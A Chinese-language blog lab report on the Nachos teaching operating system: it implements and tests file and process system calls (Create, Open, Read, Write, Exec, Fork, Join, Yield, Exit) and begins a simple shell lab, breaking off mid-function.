Create实现首先从寄存器中读取字符串的起始地址。由于文件名是不定长的,因此读取文件名分成了两步。先循环一遍,获取字符串长度;再进行一次循环从内存中读取字符。最后调用文件系统的Create方法,由于文件支持动态长度,因此初始大小设为0。由于文件名改成了有最大长度限制,因此这里name字符数组直接初始化为定长大小。 12345678910111213141516171819202122/* * code/userprog/syscalldep.cc */void SysCreate() { int base = machine->ReadRegister(4); int count = 0; int value; char name[FileNameMaxLen + 1]; do { while (!machine->ReadMem(base + count, 1, &value)); name[count] = (char)value; count++; } while (value != '\\0' && count <= FileNameMaxLen + 1); if (!fileSystem->Create(name, 0)) { printf("Create %s Failed\\n", name); } // 将PC + 4,让系统调用处理完之后,用户程序执行后一条指令 machine->PCAdvance();} 然后在ExceptionHandler注册该系统调用的处理。同时修改PC增加的规则,除SC_Halt之外,都需要将PC增加,来让用户程序能够继续执行。 123456789101112131415161718192021222324/* * code/userprog/exception.cc */voidExceptionHandler(ExceptionType which){ int type = machine->ReadRegister(2); if (which == SyscallException) {... } else if (type == SC_Create) { DEBUG('a', "File Create!\\n"); SysCreate(); } // 将PC + 4,让系统调用处理完之后,用户程序执行后一条指令 // 执行SC_Halt时,Nachos关机,因此不需要再切换PC if (type != SC_Halt) { int nextPc = machine->ReadRegister(NextPCReg); machine->WriteRegister(PCReg, nextPc); } } ...} 测试修改code/test/halt.c文件,让其调用Create系统调用。 12345678#include "syscall.h"intmain(){ Create("aaa"); Halt();} 需要注意的是,由于修改了文件系统为Nachos真实实现的文件系统,使用StartProcess打开的是Nachos内部的可执行程序,因此需要先将可执行程序拷贝到Nachos内。 123456789101112131415root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -cp ../test/halt testroot@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -l 0 VirtualMemory 0 test No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 129060, idle 127010, system 2050, user 0Disk I/O: reads 22, writes 9Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... 然后执行test程序,可以看到文件”aaa”被成功创建。 123456789101112131415161718192021222324252627282930313233343536root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!Machine halting!Ticks: total 25584559, idle 25394330, system 190200, user 29Disk I/O: reads 1497, writes 1188Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up...root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -l0 VirtualMemory 0 test 0 aaa No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 129060, idle 127010, system 2050, user 0Disk I/O: reads 22, writes 9Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Open实现Open调用的实现由于有返回值,因此需要将Nachos中的文件描述符,即OpenFile指针写入到r2寄存器中。同样,在ExceptionHandler中加入SC_Open调用的处理。 12345678910111213141516171819void SysOpen() { int base = machine->ReadRegister(4); int value; int count = 0; char name[FileNameMaxLen + 1]; do { while (!machine->ReadMem(base + count, 1, &value)); name[count] = (char)value; count++; } while (value != '\\0' && count <= FileNameMaxLen + 1); OpenFile *openFile = fileSystem->Open(name); if (openFile == NULL) { printf("Open %s Failed\\n", name); } machine->WriteRegister(2, (OpenFileId)openFile); printf("File %s => OpenFileId %d\\n", name, (OpenFileId)openFile);} 测试再次修改code/test/halt.c的代码,使用Exit来将获取到的文件描述符输出。 123456intmain(){ OpenFileId fd = Open("aaa"); Exit(fd);} 结果如下: 12345678910111213141516171819202122232425root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x open_testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!File aaa => OpenFileId 136395216Exit Code 136395216No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 21985080, idle 21786997, system 198050, user 33Disk I/O: reads 1579, writes 1249Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Close实现关闭文件,则从寄存器中解析出文件描述符指针的值,然后调用detele来关闭文件。由于文件指针的值是一个整数,因此直接从寄存器中将其取出即可,而不用去内存中寻找。 12345678void SysClose() { int base = machine->ReadRegister(4); OpenFile *openFile = (OpenFile *)base; delete openFile; printf("File id %d closed!\\n", (int)openFile);} 测试先打开文件,再调用Close关闭文件。 1234567intmain(){ OpenFileId fd = Open("aaa"); Close(fd); Halt();} 结果如下: 1234567891011121314151617181920212223root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x close_testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!File aaa => OpenFileId 165435856File id 165435856 closed!Machine halting!Ticks: total 22065080, idle 21866038, system 199000, user 42Disk I/O: reads 1586, writes 1255Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Write实现分别从r4,r5,r6三个寄存器中读取输入参数。由于输入的buffer是字符串,因此从内存中逐字节将其读到变量in中。再调用文件的Write方法将其写入进文件。同时in的大小需要稍大一些,用于存储末尾的\\0字符。 123456789101112131415161718192021void SysWrite() { int buf_base = machine->ReadRegister(4); int size = machine->ReadRegister(5); int openFileId = machine->ReadRegister(6); int value; char *in = new char[size + 1]; for (int i = 0; i < size; i++) { while (!machine->ReadMem(buf_base + i, 1, &value)); in[i] = (char)value; } in[size] = '\\0'; printf("Get instream string => %s\\n", in); OpenFile *openFile = (OpenFile *)openFileId; int r = openFile->Write(in, size); printf("Writing in fileId %d with %d bytes\\n", (OpenFileId)openFile, r); delete[] in;} 测试再次修改测试函数,调用Write系统调用。 12345678intmain(){ OpenFileId fd = Open("aaa"); Write("HelloWorld!", 11, fd); Close(fd); Halt();} 结果如下: 12345678910111213141516171819202122232425root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x write_testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!File aaa => OpenFileId 142665376Get instream string => HelloWorld!Writing in fileId 142665376 with 11 bytesFile id 142665376 closed!Machine halting!Ticks: total 24161070, idle 23941760, system 219250, user 60Disk I/O: reads 1749, writes 1386Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Read实现与写类似,从文件中读取数据,让后逐字节将其写入到内存当中。 1234567891011121314151617void SysRead() { int buf_base = machine->ReadRegister(4); int size = machine->ReadRegister(5); int openFileId = machine->ReadRegister(6); char *out = new char[size]; OpenFile *openFile = (OpenFile *)openFileId; int r = openFile->Read(out, size); printf("Read %d bytes from FileId %d\\n", r, openFileId); for (int i = 0; i < r; i++) { while (!machine->WriteMem(buf_base + i, 1, (int)out[i])); } machine->WriteRegister(2, r); delete[] out;} 测试由于Nachos内部没有实现标准输出相关的调用。因此将读取的结果写入到另一个文件中来查看读取的信息。 12345678910111213141516intmain(){ char buf[100]; OpenFileId fd = Open("aaa"); Read(buf, 11, fd); Close(fd); buf[11] = '\\0'; Create("readRes"); fd = Open("readRes"); Write(buf, 11, fd); Close(fd); Halt();} 结果如下,可以看到新文件中写入了从原文件中读到的字符串”HelloWorld!”。 12345678910111213141516171819202122232425262728root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x read_testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!File aaa => OpenFileId 135694800Read 11 bytes from FileId 135694800File id 135694800 closed!File readRes => OpenFileId 135693984Get instream string => HelloWorld!Writing in fileId 135693984 with 11 bytesFile id 135693984 closed!Machine halting!Ticks: total 27793070, idle 27539230, system 253730, user 110Disk I/O: reads 2027, writes 1607Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... Exercise 3 编写用户程序 编写并运行用户程序,调用练习2中所写系统调用,测试其正确性。 这一部分与Exercise 2放在一起,见Exercise 2的测试部分。 执行用户程序相关的系统调用Exercise 4 系统调用实现 实现如下系统调用:Exec,Fork,Yield,Join,Exit。Syscall.h文件中有这些系统调用基本说明。 前置条件此处的系统调用涉及多线程,因此也就有了子线程和父线程的概念。在code/threads/thread.h中定义一个宏MaxNumSubThread来标记一个线程能拥有的最大子线程数。修改Thread类,新增一个线程指针数组,用于记录其所拥有的子线程;一个父线程指针,用于标识父线程;以及一个状态码整数,用于记录最后一个退出的子线程的状态码。以及三个方法分别用于创建子线程,删除子线程,以及确认子线程是否存在。 12345678910111213141516/* * code/threads/thread.h */#define MaxNumSubThread 10class Thread {...public: Thread *subThreads[MaxNumSubThread]; Thread *parThread; int lastSubExitStatus; Thread * AddSubThread(); void DelSubThread(Thread * st); bool CheckThread(Thread * st);}; 然后在构造函数对新增的信息进行初始化。 123456789101112/* * code/threads/thread.cc */Thread::Thread(char* threadName){... for (int i = 0; i < MaxNumSubThread; i++) { subThreads[i] = NULL; } parThread = NULL; lastSubExitStatus = 0;} 创建,销毁和确认子线程的方法如下: 123456789101112131415161718192021222324252627282930Thread * Thread::AddSubThread() { for (int i = 0; i < MaxNumSubThread; i++) { if (subThreads[i] == NULL) { printf("Thread %s add a subthread\\n", name); Thread *st = new Thread("SubThread"); subThreads[i] = st; st->parThread = this; return st; } } return NULL;}void Thread::DelSubThread(Thread *st) { for (int i = 0; i < MaxNumSubThread; i++) { if (subThreads[i] == st) { subThreads[i] = NULL; break; } }}bool Thread::CheckSubThread(Thread *st) { for (int i = 0; i < MaxNumSubThread; i++) { if (subThreads[i] == st) { return TRUE; } } return FALSE;} 状态码数组的相关方法如下: 12345678910111213141516void Thread::SetSubExitStatus(Thread *st, int status) { for (int i = 0; i < MaxNumSubThread; i++) { if (subThreads[i] == st) { subExitStatus[i] = status; break; } }}int Thread::GetSubExitStatus(Thread *st) { for (int i = 0; i < MaxNumSubThread; i++) { if (subThreads[i] == st) { return subExitStatus[i]; } }} 除了父子进程之外,还需要考虑用户地址空间的拷贝。对AddrSpace类,新增一个空构造函数,以及一个复制方法Duplicate。 1234567891011/* * code/userprog/addrspace.h */class AddrSpace { public:... AddrSpace() {};... AddrSpace *Duplicate();...}; 该复制方法Duplicate会拷贝当前用户空间的所有页,然后返回一个新的地址空间。在设计上,出于简便,直接采取了拷贝所有地址空间页的方式,而非Linux上延迟拷贝的方式。 根据lazy-loading的设计,SetUpNewOneEntry方法会向交换分区申请一页,然后将旧地址空间的对应页的信息全部复制到新页中。旧地址空间页需要分为仍在交换分区,以及被换入内存两类考虑。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849void SetUpNewOneEntry(TranslationEntry &oldOne, TranslationEntry &newOne) { newOne.virtualPage = oldOne.virtualPage; newOne.valid = FALSE; newOne.use = FALSE; newOne.dirty = FALSE; newOne.readOnly = FALSE; int sp = machine->swapBitMap->Find(); ASSERT(sp != -1); newOne.swapPage = sp; printf("Sub Thread %s, swap memory page %d is allocated!\\n", currentThread->getName(), sp); if (oldOne.swapPage != -1) { // 说明该页还在交换分区 char *buf = new char[PageSize]; machine->swapFile->ReadAt(buf, PageSize, oldOne.swapPage * PageSize); machine->swapFile->WriteAt(buf, PageSize, sp * PageSize); delete[] buf; } else { int ppn = oldOne.physicalPage; int value; char ch; // 逐字节从内存中拷贝 for (int i = 0; i < PageSize; i++) { while (!machine->ReadMem(ppn + i, 1, &value)); ch = (char)value; machine->swapFile->WriteAt(&ch, 1, sp * PageSize + i); } }}AddrSpace * AddrSpace::Duplicate() { AddrSpace * newAddrSpace = new AddrSpace(); newAddrSpace->numPages = numPages; // newAddrSpace->pageTable = pageTable; newAddrSpace->pageTable = new TranslationEntry[numPages]; printf("Duplicating User Space!\\n"); for (int i = 0; i < numPages; i++) { SetUpNewOneEntry(pageTable[i], newAddrSpace->pageTable[i]); } return newAddrSpace;} Exec实现首先创建一个类似于code/userprog/progtest.cc中的StartProcess的函数ForkAndExec,该函数被子线程调用Fork执行。 12345678910111213141516171819202122232425262728void ForkAndExec(char *filename) { // 从文件系统打开可执行文件 OpenFile *executable = fileSystem->Open(filename); AddrSpace *space2; if (executable == NULL) { printf("Unable to open file %s\\n", filename); delete[] filename; return; } printf("Start to executing file %s\\n", filename); delete[] filename; // 创建空间存储用户程序 space2 = new AddrSpace(executable); currentThread->space = space2; delete executable; // close file space2->InitRegisters(); // set the initial register values // 告诉设备的用户程序的页表和页数目 space2->RestoreState(); // load page table register machine->Run(); // jump to the user progam ASSERT(FALSE);} 然后实现Exec系统调用。在该调用中,首先创建一个子线程exec_t,让子线程调用Fork来执行新的用户程序。同时,将子线程指针的值(SpaceId)作为返回值写入到寄存器中。 1234567891011121314151617181920212223242526void SysExec() { int base = machine->ReadRegister(4); int value; int count = 0; char *name = new char[FileNameMaxLen + 1]; do { while (!machine->ReadMem(base + count, 1, &value)); name[count] = (char)value; count++; } while (value != '\\0' && count <= FileNameMaxLen + 1); Thread *exec_t = currentThread->AddSubThread(); if (exec_t == NULL) { printf("Create a subthread failed!\\n"); } machine->WriteRegister(2, (SpaceId)exec_t); printf("Space Id => %d\\n", (SpaceId)exec_t); if (exec_t != NULL) { exec_t->Fork(ForkAndExec, (void *)name); }} 测试被Exec执行的程序do_exec如下,创建一个文件sc_exec_f。 123456intmain(){ Create("sc_exec_f"); Exit(0);} 执行Exec系统调用的程序如下: 123456intmain(){ int ad = Exec("do_exec"); Exit(ad);} 其测试等到Join和Exit实现之后再进行。 Exit实现其实现是在Nachos Lab02 虚拟内存中的基础上做了一些的修改。 Exit退出线程是还会判断,是否有父线程。如果有,则在父线程中设置自己的Exit状态码,然后删除自己。 123456789101112131415161718192021222324252627void SysExit() { int status = machine->ReadRegister(4); DEBUG('t', "", status); printf("Exit Code %d\\n", status); // 如果父线程存在,则从父线程的子线程列表中删除自己 if (currentThread->parThread != NULL) { currentThread->parThread->lastSubExitStatus = status; currentThread->parThread->DelSubThread(currentThread); } if (currentThread->space != NULL) { for (unsigned int i = 0; i < machine->pageTableSize; i++) { // 回收物理空间,并置页表项的valid值为FALSE int phyPage = machine->pageTable[i].physicalPage; DEBUG('m', "Physical memory page %d is cleared!\\n", phyPage);// printf(" %s, physical memory page %d is cleared!\\n", currentThread->getName(), phyPage); machine->memBitMap->Clear(phyPage); } // 回收space空间,执行进程Finish函数 delete currentThread->space; currentThread->space = NULL; } currentThread->Finish();} 测试其执行效果,部分已在其他测试中出现。新增的部分,则等到Join的实现再测试。 Join实现通过调用CheckSubThread反复确认,子线程是否存在于子线程数组中。如果子线程运行结束则会调用Exit系统调用,将其在子线程数组中的位置设为NULL,从而导致确认的结果为FALSE;反之,则当前线程让出CPU,直至确认的结果为FALSE。 12345678910void SysJoin() { int base = machine->ReadRegister(4); SpaceId id = (SpaceId)base; while (currentThread->CheckSubThread((Thread *)id)) { currentThread->Yield(); } machine->WriteRegister(2, currentThread->lastSubExitStatus);} 测试首先创建一个名为exec_test的测试程序,该测试程序会调用Exec系统调用去执行程序”do_exec”,同时使用Join调用等待该子程序的执行结束。最后将子程序的状态码,用Exit返回。 1234567intmain(){ SpaceId ad = Exec("do_exec"); int status = Join(ad); Exit(status);} 然后创建测试程序do_exec,该程序会创建一个名为”st_c”的文件,并返回状态码1。 123456intmain(){ Create("st_c"); Exit(1);} 测试结果如下。注:此处的测试使用的是Unix文件系统。之所以不使用Nachos内的文件系统是因为文件同步机制实现的有点问题,导致子线程的调用fileSystem->Open时,执行不下去。 123456789101112131415161718192021222324252627282930313233343536373839root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x exec_testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!Thread main add a subthreadSpace Id => 159160096Start to executing file do_execThread SubThread, swap memory page 0 is allocated!Thread SubThread, swap memory page 1 is allocated!Thread SubThread, swap memory page 2 is allocated!Thread SubThread, swap memory page 10 is allocated!Thread SubThread, swap memory page 11 is allocated!Thread SubThread, swap memory page 12 is allocated!Thread SubThread, swap memory page 13 is allocated!Thread SubThread, swap memory page 14 is allocated!Thread SubThread, swap memory page 15 is allocated!Thread SubThread, swap memory page 16 is allocated!Thread SubThread, swap memory page 17 is allocated!Exit Code 272Exit Code 272No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 105, idle 8, system 30, user 67Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... 然后在本地可以看到st_c文件创建成功。 Fork实现由于Thread::Fork方法仅能传递一个参数,因此创建一个数据类型UserPC类,来辅助传参。UserPC仅记录两个信息,uPC(PC值),space(地址空间)。 12345class UserPC {public: int uPC; AddrSpace * space;}; 然后实现Fork系统调用。Fork系统调用和Exec系统调用的主要区别在于,Fork类似于Pyhton中的多线程,而Exec则类似于Python中的多进程的概念。Fork用于创建一个新线程来处理当前程序的某个部分(函数);而Exec会创建一个新线程来执行一个新的程序。 因此Fork的实现步骤如下: 从寄存器中获取任务的PC值,存到base中 调用AddSubThread方法,创建当前线程的子线程exec_t 借助刚创建的UserPC类来记录,任务PC值(存在base中)和父线程地址空间的拷贝(调用Duplicate方法复制) 子线程exec_t调用SaveUserState方法,来为子线程设置寄存器状态。因为子线程相当于父线程的拷贝,并且子线程是从父线程中的某个点继续运行,所以子线程需要复制父线程的寄存器状态。 子线程调用Thread::Fork方法来执行任务ForkFunc,并将UserPC对象传递进去。 在ForkFunc中,首先设置子线程的地址空间(来自于父线程地址空间的拷贝) 在ForkFunc中,然后修改当前PC寄存器的值,和NextPC寄存器的值。目的是为了让子线程从此处开始执行。 在ForkFunc中,最后调用Machine::Run来执行子线程。 12345678910111213141516171819202122232425262728293031void SysFork() { int base = machine->ReadRegister(4); printf("Forking...\\n"); Thread *exec_t = currentThread->AddSubThread(); printf("1 => Create sub thread id %d\\n", (SpaceId)exec_t); UserPC *userPc = new UserPC; userPc->uPC = base; userPc->space = currentThread->space->Duplicate(); printf("2 => Duplicate old space %d to new space %d\\n", (int)currentThread->space, (int)userPc->space); printf("3 => Copy user's states\\n"); exec_t->SaveUserState(); exec_t->Fork(ForkFunc, (int)userPc);}void ForkFunc(int which) { UserPC *userPc = (UserPC *)which; currentThread->space = userPc->space; int uPC = userPc->uPC; printf("4 => Setup PCReg to %d\\n", uPC); machine->WriteRegister(PCReg, uPC); machine->WriteRegister(NextPCReg, uPC + 4); printf("5 => All setting down, start to run\\n"); machine->Run();} 测试编写测试函数如下,使用Fork来多线程执行调用函数Func。Func会创建文件”fork_t”。 123456789void Func() { Create("fork_t");}intmain(){ Fork(Func);} 测试结果如下: 1234567891011121314151617181920212223242526272829303132333435363738394041424344root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x fork_testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!Forking...Thread main add a subthread1 => Create sub thread id 148031264Duplicating User Space!Sub Thread main, swap memory page 0 is allocated!Sub Thread main, swap memory page 1 is allocated!Sub Thread main, swap memory page 2 is allocated!Sub Thread main, swap memory page 10 is allocated!Sub Thread main, swap memory page 11 is allocated!Sub Thread main, swap memory page 12 is allocated!Sub Thread main, swap memory page 13 is allocated!Sub Thread main, swap memory page 14 is allocated!Sub Thread main, swap memory page 15 is allocated!Sub Thread main, swap memory page 16 is allocated!Sub Thread main, swap memory page 17 is allocated!2 => Duplicate old space 148031000 to new space 1480316003 => Copy user's states4 => Setup PCReg to 2085 => All setting down, start to runExit Code 0Exit Code 0No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 106, idle 17, system 30, user 59Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... 从截图中可以看到文件fork_t被成功创建。 Yield实现此处有一点需要注意,需要先将PC增加,再调用Yield。否则就会导致进程被唤醒时,仍处于执行Yield调用的指令位置。这会导致程序反复执行Yield。因此在ExceptionHandler将其放在PC增加之后处理。 1234567891011121314151617181920212223/* * code/userprog/exception.cc */voidExceptionHandler(ExceptionType which){... else if (type == SC_Fork) { DEBUG('a', "Program Fork!\\n"); SysFork(); } // 将PC + 4,让系统调用处理完之后,用户程序执行后一条指令 machine->PCAdvance(); if (type == SC_Yield) { DEBUG('a', "Program Yield!\\n"); SysYield(); } } ... 然后Yield调用实现比较简单,就是调用Thread::Yield方法。 12345void SysYield() { printf("Thread %s yield...\\n", currentThread->getName()); currentThread->Yield();} 测试首先创建测试程序do_yield。该程序会创建文件”yield_t”,然后调用Yield。被唤醒之后会打开文件yield_t。 123456789intmain(){ OpenFileId fd; Create("yield_t"); Yield(); fd = Open("yield_t"); Close(fd); Exit(fd);} 然后创建测试程序yield_test。该程序会执行do_yield程序。 1234567intmain(){ SpaceId id; id = Exec("do_yield"); Join(id); Exit(0);} 测试结果如下。可以看到线程main执行Join调用,等待子线程SubThread的执行。子线程执行任务直到调用Yield调用,切换回主线程main,main继续在Join中等待,再次切换到子线程继续执行。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546root@02487b68b87e:/nachos/nachos-3.4/code/userprog# ./nachos -x yield_testThread main, swap memory page 0 is allocated!Thread main, swap memory page 1 is allocated!Thread main, swap memory page 2 is allocated!Thread main, swap memory page 3 is allocated!Thread main, swap memory page 4 is allocated!Thread main, swap memory page 5 is allocated!Thread main, swap memory page 6 is allocated!Thread main, swap memory page 7 is allocated!Thread main, swap memory page 8 is allocated!Thread main, swap memory page 9 is allocated!Thread main, swap memory page 10 is allocated!Thread main add a subthreadSpace Id => 165242656Thread main do waitingStart to executing file do_yieldThread SubThread, swap memory page 0 is allocated!Thread SubThread, swap memory page 1 is allocated!Thread SubThread, swap memory page 2 is allocated!Thread SubThread, swap memory page 10 is allocated!Thread SubThread, swap memory page 11 is allocated!Thread SubThread, swap memory page 12 is allocated!Thread SubThread, swap memory page 13 is allocated!Thread SubThread, swap memory page 14 is allocated!Thread SubThread, swap memory page 15 is allocated!Thread SubThread, swap memory page 16 is allocated!Thread SubThread, swap memory page 17 is allocated!Thread main do waitingThread SubThread yield...Thread main do waitingFile yield_t => OpenFileId 165267856File id 165267856 closed!Exit Code 165267856File id 165267856 closed!Exit Code 165267856No threads ready or runnable, and no pending interrupts.Assuming the program completed.Machine halting!Ticks: total 193, idle 11, system 80, user 102Disk I/O: reads 0, writes 0Console I/O: reads 0, writes 0Paging: faults 0Network I/O: packets received 0, sent 0Cleaning up... 可以看到子线程中的文件”yield_t”被成功创建。 Exercise 5 编写用户程序 编写并运行用户程序,调用练习4中所写系统调用,测试其正确性。 这一部分与Exercise 4放在一起,见Exercise 4的测试部分。 遇到的困难无 参考资料[1] 百度文库. Nachos系统调用实习报告[EB/OL]. https://wenku.baidu.com/view/cde42078aef8941ea66e0566.html","link":"/2021/01/02/Nachos-Lab05-%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8/"},{"title":"Nachos Lab06 Shell实现","text":"思路分析源码分析在Nachos中提供一个Shell程序的雏形code/test/shell.c。这个程序干的事情很简单,通过输出--字符串用于标识等待输入,然后将读取的输入信息送入Exec系统调用中执行。该程序会反复执行上述操作。 其中涉及到了两个文件ConsoleInput和ConsoleOutput,查看其定义可知其在Unix系统中分别对应了标准输入流stdin和标准输出流stdout。因此这也就意味着想要模拟shell必须使用Unix文件系统,除非在Nachos中实现一套完整的输入输出方法。 12#define ConsoleInput 0 #define ConsoleOutput 1 尽管使用的是Unix文件系统,但是被Exec调用执行的程序仍要自己实现。因此也需要实现或者修改一些Nachos内的系统调用,来执行Linux上的系统调用,从而做到对Unix文件系统执行命令。 另外,Nachos的用户程序,由于没有实现相关的Nachos系统库,也因此没有办法从外部向Nachos用户程序传参。这也就意味着部分命令,没法通过“用户程序 + 系统调用”的方式实现。 总之一句话,因为用的Unix文件系统,命令需要能够对Unix生效,所以在Nachos中调Unix的系统调用。另外,需要修改Shell以满足传参的需求。 Shell实现前置条件标准输入/输出流的处理因为使用了标准输入/输出流,因此需要修改Write和Read系统调用的实现。具体实现方式见困难1 shell程序启动出现Segment Fault的错误。 相关命令设计 系统调用 功能 命令 使用方法 SC_Ls 查看当前目录 ls ls SC_Pwd 查看当前路径 pwd pwd SC_Cd 切换目录 cd cd <path> SC_Nf 新建文件 nf nf <name> SC_Nd 新建目录文件 nd nd <name> SC_Df 删除文件 df df <name> SC_Dd 删除目录 dd dd <name> 改动Shell以支持参数输入虽然没法将参数传递给其他的Nachos用户程序,但是可以直接在Shell程序中解析buffer来处理参数。此外由于Shell没有提供退出的接口,因此自己实现输入”q”来结束一个shell。 12345678910111213141516171819202122if( i > 0 ) { if (i == 2 && buffer[0] == 'l' && buffer[1] == 's') { Ls(); } else if (i == 3 && buffer[0] == 'p' && buffer[1] == 'w' && buffer[2] == 'd') { Pwd(); } else if (buffer[0] == 'c' && buffer[1] == 'd' && buffer[2] == ' ') { Cd(buffer + 3); } else if (buffer[0] == 'n' && buffer[1] == 'f' && buffer[2] == ' ') { Nf(buffer + 3); } else if (buffer[0] == 'n' && buffer[1] == 'd' && buffer[2] == ' ') { Nd(buffer + 3); } else if (buffer[0] == 'd' && buffer[1] == 'f' && buffer[2] == ' ') { Df(buffer + 3); } else if (buffer[0] == 'd' && buffer[1] == 'd' && buffer[2] == ' ') { Dd(buffer + 3); } else if (buffer[0] == 'q') { Halt(); } else { newProc = Exec(buffer); Join(newProc); }} 添加相关Linux系统调用接口 System 在code/machine/sysdep.cc中导入C语言的stdlib.h库。System用于执行一个系统命令。 1234567891011/* * code/machine/sysdep.h */extern void System(char * comd);/* * code/machine/sysdep.cc */void System(char *comd) { system(comd);} Chdir Chdir用于切换工作目录。chdir函数位于C语言的unistd.h库。 1234void Chdir(char * path) { int r = chdir(path);// ASSERT(r == 0);} Mkdir mkdir用于创建目录。mkdir函数位于C语言的sys/stat.h库。由于mkdir还需要一个mode参数用于指定新目录的权限,这里不考虑用户输入,而是使用定值S_IRWXU代表着用户有读写执行的权限。 123void Mkdir(char *name) { mkdir(name, S_IRWXU);} Rmdir rmdir用于删除一个空目录,如果目录非空删除操作会失败。rmdir位于C语言的unistd.h库。 123void Rmdir(char *name) { rmdir(name);} 命令程序实现首先创建相关的系统调用号以及系统接口。 123456789101112131415161718/* * code/userprog/syscall.h */#define SC_Ls 11#define SC_Pwd 12#define SC_Cd 13#define SC_Nf 14#define SC_Nd 15#define SC_Df 16#define SC_Dd 17void Ls();void Pwd();void Cd(char *path);void Nf(char *name);void Nd(char *name);void Df(char *name);void Dd(char *name); 然后实现用户接口,实现方式比较相似,因此此处仅列举出其中一个的实现方式。以及在code/userprog/exception.cc添加相应的接口和在code/userprog/syscalldep.h做具体的功能实现。 123456789101112/* * code/test/start.s */ .globl Ls .ent LsLs: addiu $2,$0,SC_Ls syscall j $31 .end Ls ... Ls使用c++的函数system来执行一个Linux命令。 123void SysLs() { System("ls");} Pwd同样使用c++的函数system来执行一个Linux命令。 123void SysPwd() { System("pwd");} Cd利用封装C语言的接口Chdir来实现。 12345678910111213141516void SysCd() { int base = machine->ReadRegister(4); int value; int count = 0; char *path = new char[255]; do { while (!machine->ReadMem(base + count, 1, &value)); path[count] = (char)value; count++; } while (value != '\\0'); Chdir(path); delete[] path;} Nf直接使用文件系统提供的接口创建文件。 12345678910111213141516void SysNf() { int base = machine->ReadRegister(4); int value; int count = 0; char *name = new char[FileNameMaxLen + 1]; do { while (!machine->ReadMem(base + count, 1, &value)); name[count] = (char)value; count++; } while (value != '\\0' && count <= FileNameMaxLen + 1); fileSystem->Create(name); delete[] name;} Df同样,直接使用文件系统提供的接口删除文件。 12345678910111213141516void SysDf() { int base = 